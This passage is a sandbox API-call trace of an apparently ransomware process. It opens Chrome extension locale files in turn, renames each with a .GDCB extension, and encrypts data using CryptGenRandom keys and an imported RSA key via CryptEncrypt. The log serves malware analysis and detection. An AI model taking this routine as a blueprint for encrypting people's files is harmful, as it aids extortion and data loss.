lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcc, lpOverlapped=0x0) returned 1 [0270.143] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.149] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json.gdcb")) returned 1 [0270.154] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.157] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.161] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.161] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.161] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.161] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.164] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.166] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.166] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.166] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.166] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.168] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67981e0) returned 1 [0270.169] CryptGetKeyParam (in: hKey=0x67981e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.169] CryptEncrypt (in: hKey=0x67981e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.169] GetLastError () returned 0x0 [0270.169] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.169] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0270.170] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798820) returned 1 [0270.171] CryptGetKeyParam (in: hKey=0x6798820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.171] CryptEncrypt (in: hKey=0x6798820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.171] GetLastError () returned 0x0 [0270.171] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.171] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.172] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.175] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.177] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe3, lpOverlapped=0x0) returned 1 [0270.186] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.192] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.gdcb")) returned 1 [0270.197] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.200] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.202] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.202] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.202] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.202] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.204] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.206] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.206] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.206] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.207] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.209] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67986a0) returned 1 [0270.209] CryptGetKeyParam (in: hKey=0x67986a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.209] CryptEncrypt (in: hKey=0x67986a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.209] GetLastError () returned 0x0 [0270.209] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.209] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.211] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798720) returned 1 [0270.211] CryptGetKeyParam (in: hKey=0x6798720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.211] CryptEncrypt (in: hKey=0x6798720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.211] GetLastError () returned 0x0 [0270.211] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.211] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.212] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.215] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.217] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd4, lpOverlapped=0x0) returned 1 [0270.225] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.232] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.gdcb")) returned 1 [0270.238] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.241] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.243] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.243] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.243] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.243] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.246] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.247] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.248] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.248] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.248] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.250] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67986e0) returned 1 [0270.250] CryptGetKeyParam (in: hKey=0x67986e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.250] CryptEncrypt (in: hKey=0x67986e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.250] GetLastError () returned 0x0 [0270.250] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.250] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.252] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798760) returned 1 [0270.252] CryptGetKeyParam (in: hKey=0x6798760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.252] CryptEncrypt (in: hKey=0x6798760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.252] GetLastError () returned 0x0 [0270.252] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.252] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.254] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.256] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.258] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x98, lpOverlapped=0x0) returned 1 [0270.267] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.273] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.gdcb")) returned 1 [0270.284] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.287] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.289] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.289] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.289] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.289] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.291] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.293] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.293] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.293] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.293] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.295] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798260) returned 1 [0270.295] CryptGetKeyParam (in: hKey=0x6798260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.295] CryptEncrypt (in: hKey=0x6798260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.296] GetLastError () returned 0x0 [0270.296] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.296] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.298] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67987a0) returned 1 [0270.298] CryptGetKeyParam (in: hKey=0x67987a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.298] CryptEncrypt (in: hKey=0x67987a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.298] GetLastError () returned 0x0 [0270.298] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.298] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.299] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.302] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.304] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xff, lpOverlapped=0x0) returned 1 [0270.317] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.326] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.gdcb")) returned 1 [0270.331] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0270.334] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.336] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.336] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.336] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.336] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.341] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.341] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.341] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.341] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.343] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67985e0) returned 1 [0270.343] CryptGetKeyParam (in: hKey=0x67985e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.343] CryptEncrypt (in: hKey=0x67985e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.344] GetLastError () returned 0x0 [0270.344] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.344] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0270.345] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798420) returned 1 [0270.345] CryptGetKeyParam (in: hKey=0x6798420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.345] CryptEncrypt (in: hKey=0x6798420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.346] GetLastError () returned 0x0 [0270.346] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.346] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.347] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.349] VirtualAlloc 